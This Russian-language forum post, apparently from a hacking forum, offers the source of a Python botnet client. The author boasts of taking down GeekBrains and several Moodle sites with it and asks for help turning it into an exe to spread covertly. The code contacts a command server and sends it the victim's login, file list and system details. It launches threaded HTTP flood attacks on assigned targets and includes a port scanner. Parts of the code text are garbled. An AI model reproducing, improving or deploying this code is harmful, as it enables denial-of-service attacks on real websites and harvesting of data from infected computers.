Скрипт для Dos
INHIDE![](/file/cc7ba754e03e8d8dd8b38.jpg)
Ботнет написан на питоне (клиентская сторона) и php (серверная ).
Немного предыстории
Когда то давно я использовал скрипт hulk.py, который неплохо валил простенькие сайты, с одного компа, перегружая канал жертвы.. Сие благо было благодаря волшебной библиотеке urllib и потокам (threads). Неудобство было в том, что нормального сборщика питон я так и не нашёл (что бы как то свой скрипт уместить в exe'шник и распространять по чёрным методам в сети) (Это одна из недоработок данного бота).
Упустив момент выше, я принялся писать систему, которая могла бы централизованно управлять ботами, определять онлайн ботов, отправлять им команды (+получать ответ), собирать какие то данные о системе.. Тут вроде всё нормально, за исключением того что обработчик я написал только под винду...
Собрав всего 4-х ботов в системе, я отправился тестировать его силутора на различных ресурсах.. И вуаля! Такой ресурс как geekbrains, несколько образовательных систем на базе moodle слегли в считанные секунды (правда, не надолго).
В общем как то так.. Может у кого то есть варианты решения проблемы с "переводом" python кода в exe'шник, то просьба написать ниже.. Выкладываю код самого "клиента" на питоне, можете сами продемонстрировать.
Да, если возникнут какие-либо вопросы по коду, пишем ниже, постараюсь на всё ответить. Если будет интересна "серверная" часть, то её позже тоже выложу.
Вот собственно сам код:
[== Undefined ==] #!/usr/bin/env python3 import os import random import sys import io import socket import urllib.request import urllib.parse import threading import time url = 'http://'URL HANDLER' class Bot(): def attack(self,targetAttack): symbols = ['иµћ','иі›','е…©','РёВР‡','РёР‡вЂ','РёРЃС–','и§Ђ','观','и¦і','з‡џ','РёС’Тђ','е–¶','и™•','处','処','РёРѓР†','еЈ°','еЈ°','РµВС‘','РµВВ¦','й«”','дЅ“','дЅ“','з‚№','йє¦','Рёв„ўВ«','0','1','2','3','4','5','6','7','8','9'] while True: try: random_getname = random.randint(5,9) random_getvalue = random.randint(5,9) i = 0 gen_getname = '' gen_getvalue = '' while i < random_getname: gen_getname += symbols[random.randint(0,len(symbols)-1)] i += 1 i = 0 while i < random_getvalue: gen_getvalue += symbols[random.randint(0, len(symbols)-1)] i += 1 sent_get = {gen_getname : gen_getvalue} enc_data = urllib.parse.urlencode(sent_get) query = urllib.request.urlopen(targetAttack+'/'+'?'+enc_data) except: break # Генерация идентификатора машины def getIdentity(self): symbols = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','x','y','z','0','1','2','3','4','5','6','7','8','9']; lenIdentity = 16 curLen = 0 identity = '' while curLen <= lenIdentity: identity += symbols[random.randint(0,len(symbols))-1] curLen += 1 return identity № проверка файла с идентификатором машины def checkIdentity(self): fileIdentity = 'ident.txt' if os.path.exists(fileIdentity): with open(fileIdentity, 'r') as ofile: ident = ofile.read() else: ofile = open(fileIdentity, 'w') getIdentity = self.getIdentity() ofile.write(getIdentity) ofile.close() with open(fileIdentity, 'r') as ofile: ident = ofile.read() return ident # Планировал дописать функцию сканера портов.. Как бы работает, но немного криво def scan(self,host): ports = [] open_ports = [] i = 0 while i < 65536: ports.append(i) i += 1 for port in ports: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(0.01) try: sock.connect((host,port)) except: a = 1 else: open_ports.append(port) sock.close() return open_ports # метод завершающий работу бота.. Срабатывает когда на бот отправляется соответствующая команда def killBot(self): sys.exit() # Ожидает команду от сервера. В хэшах зашифрованы "ключевые" слова для каких либо действий.. def checkCommand(self): while True: try: time.sleep(5) postData = {'identity':self.checkIdentity()} encPostData = urllib.parse.urlencode(postData) getCommand = urllib.request.urlopen(url+'/c66555eff41953e343d5508311e87cda',encPostData.encode('utf-8')).read().decode() # for execute nameResponce = 'result.txt'; if getCommand != '': with open(nameResponce, 'r') as ofile: execute = ofile.read() dataCommand = {'ident':self.checkIdentity(),'name':getCommand,'responce':execute} encDataCommand = urllib.parse.urlencode(dataCommand) updDataCommand = urllib.request.urlopen(url+'/be84513e9ca1814ccc9b27d9eb682bc7',encDataCommand.encode('utf-8')).read().decode() os.remove(nameResponce) except: continue # Чек целей для дос атаки.. Если в БД выставлена цель для атаки у текущей машины, то он вызывает метод для Dos атаки def checkTarget(self): while True: try: time.sleep(30) postDataDos = {'identity':self.checkIdentity()} encPostDataDos = urllib.parse.urlencode(postDataDos) getTarget = urllib.request.urlopen(url+'/9500f2e6e4831f18ede46fc82350beef',encPostDataDos.encode('utf-8')).read().decode() # for dos if getTarget != '': while True: threading.Thread(target=self.attack, args=[getTarget]).start() except: continue # Чекает онлайн у бота.. Отправляет каждые 50 секунд запрос на сервер def checkOnline(self): while True: try: time.sleep(50) ident = self.checkIdentity() data = {'identity':ident} encData = urllib.parse.urlencode(data) updData = urllib.request.urlopen(url+'/6fdf9a7e383da79e72066b43e4edc66f',encData.encode('utf-8')) except: continue # Основной метод приложения. Проверяет есть ли идентификатор у цели, отправляет информацию (системную) на сервер, и вызывает неободимые методы для работы def appRun(self): ident = self.checkIdentity() ip = urllib.request.urlopen(url+'/82ffb4dfeb96c39cdc69e0d9cb87e9eb').read() osName = os.name others = '<b>login:</b> '+os.getlogin()+'<br><b>Files:</b> '+str(os.listdir())+'<br><b>Python path:</b> '+sys.exec_prefix+'<br><b>EncodeFileSystem:</b> '+sys.getfilesystemencoding()+'<br><b>Python version:</b> '+sys.version+'\n' data = {'data':'send','ident':ident, 'ip':ip, 'osName':osName,'others':others} encData = urllib.parse.urlencode(data) updData = urllib.request.urlopen(url+'/',encData.encode('utf-8')) threading.Thread(target=self.checkCommand, args=[]).start() threading.Thread(target=self.checkTarget, args=[]).start() threading.Thread(target=self.checkOnline, args=[]).start() # запуск бота etm = Bot() etm.appRun()